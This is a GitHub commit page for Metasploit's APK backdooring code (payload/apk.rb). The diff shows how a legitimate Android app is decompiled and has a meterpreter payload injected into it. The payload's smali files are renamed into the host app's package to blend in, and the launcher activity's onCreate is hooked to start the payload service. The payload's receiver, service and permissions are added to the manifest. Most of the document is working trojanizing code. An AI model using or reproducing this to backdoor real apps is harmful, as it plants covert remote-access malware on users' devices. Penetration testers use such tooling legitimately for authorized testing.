Skip to content

Commit a39c496

Browse files
committed
fix apk injection script to include payload service and receivers
1 parent 1362bc9 commit a39c496

File tree

2 files changed

+56
-64
lines changed

2 files changed

+56
-64
lines changed

lib/msf/core/payload/apk.rb

Lines changed: 55 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,7 @@
88
require 'optparse'
99
require 'open3'
1010

11-
module Msf::Payload::Apk
12-
13-
class ApkBackdoor
14-
include Msf::Payload::Apk
15-
def backdoor_apk(apk, payload)
16-
backdoor_payload(apk, payload)
17-
end
18-
end
11+
class Msf::Payload::Apk
1912

2013
def print_status(msg='')
2114
$stderr.puts "[*] #{msg}"
@@ -65,62 +58,45 @@ def find_launcher_activity(amanifest)
6558
end
6659
end
6760

68-
def fix_manifest(tempdir)
69-
payload_permissions=[]
70-
71-
#Load payload's permissions
72-
File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
73-
k=File.read(file)
74-
payload_manifest=Nokogiri::XML(k)
75-
permissions = payload_manifest.xpath("//manifest/uses-permission")
76-
for permission in permissions
77-
name=permission.attribute("name")
78-
payload_permissions << name.to_s
79-
end
80-
}
81-
82-
original_permissions=[]
83-
apk_mani=""
84-
85-
#Load original apk's permissions
86-
File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
87-
k=File.read(file2)
88-
apk_mani=k
89-
original_manifest=Nokogiri::XML(k)
90-
permissions = original_manifest.xpath("//manifest/uses-permission")
91-
for permission in permissions
92-
name=permission.attribute("name")
93-
original_permissions << name.to_s
94-
end
61+
def parse_manifest(manifest_file)
62+
File.open(manifest_file, "rb"){|file|
63+
data = File.read(file)
64+
return Nokogiri::XML(data)
9565
}
66+
end
9667

97-
#Get permissions that are not in original APK
98-
add_permissions=[]
68+
def fix_manifest(tempdir)
69+
#Load payload's manifest
70+
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
71+
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
72+
73+
#Load original apk's manifest
74+
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
75+
original_permissions = original_manifest.xpath("//manifest/uses-permission")
76+
77+
manifest = original_manifest.xpath('/manifest')
78+
old_permissions = []
79+
for permission in original_permissions
80+
name = permission.attribute("name").to_s
81+
old_permissions << name
82+
end
9983
for permission in payload_permissions
100-
if !(original_permissions.include? permission)
101-
print_status("Adding #{permission}")
102-
add_permissions << permission
84+
name = permission.attribute("name").to_s
85+
unless old_permissions.include?(name)
86+
print_status("Adding #{name}")
87+
original_permissions.before(permission.to_xml)
10388
end
10489
end
10590

106-
inject=0
107-
new_mani=""
108-
#Inject permissions in original APK's manifest
109-
for line in apk_mani.split("\n")
110-
if (line.include? "uses-permission" and inject==0)
111-
for permission in add_permissions
112-
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
113-
end
114-
new_mani << line+"\n"
115-
inject=1
116-
else
117-
new_mani << line+"\n"
118-
end
119-
end
120-
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
91+
application = original_manifest.at_xpath('/manifest/application')
92+
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
93+
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
94+
95+
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml }
12196
end
12297

123-
def backdoor_payload(apkfile, raw_payload)
98+
def backdoor_apk(apkfile, raw_payload)
99+
124100
unless apkfile && File.readable?(apkfile)
125101
usage
126102
raise RuntimeError, "Invalid template: #{apkfile}"
@@ -163,9 +139,7 @@ def backdoor_payload(apkfile, raw_payload)
163139
print_status "Decompiling payload APK..\n"
164140
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
165141

166-
f = File.open("#{tempdir}/original/AndroidManifest.xml")
167-
amanifest = Nokogiri::XML(f)
168-
f.close
142+
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
169143

170144
print_status "Locating hook point..\n"
171145
launcheractivity = find_launcher_activity(amanifest)
@@ -189,15 +163,33 @@ def backdoor_payload(apkfile, raw_payload)
189163
raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
190164
end
191165

192-
print_status "Copying payload files..\n"
193-
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
194-
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
166+
# Remove unused files
167+
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
168+
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
195169

196-
payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
170+
package = amanifest.xpath("//manifest").first['package']
171+
package_slash = package.gsub(/\./, "/")
172+
print_status "Adding payload as package #{package}\n"
173+
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
174+
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
175+
FileUtils.mkdir_p payload_dir
176+
177+
# Copy over the payload files, fixing up the smali code
178+
payload_files.each do |file_name|
179+
smali = File.read(file_name)
180+
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
181+
newfilename = "#{payload_dir}#{File.basename file_name}"
182+
File.open(newfilename, "wb") {|file| file.puts newsmali }
183+
end
184+
185+
payloadhook = entrypoint + %Q^
186+
invoke-static {p0}, L#{package_slash}/MainService;->startService(Landroid/content/Context;)V
187+
^
197188
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
198189

199190
print_status "Loading #{smalifile} and injecting payload..\n"
200191
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
192+
201193
injected_apk = "#{tempdir}/output.apk"
202194
print_status "Poisoning the manifest with meterpreter permissions..\n"
203195
fix_manifest(tempdir)

lib/msf/core/payload_generator.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -320,7 +320,7 @@ def generate_payload
320320
gen_payload = raw_payload
321321
elsif payload.start_with? "android/" and not template.blank?
322322
cli_print "Using APK template: #{template}"
323-
apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new()
323+
apk_backdoor = ::Msf::Payload::Apk.new
324324
raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
325325
cli_print "Payload size: #{raw_payload.length} bytes"
326326
gen_payload = raw_payload

0 commit comments

Comments
 (0)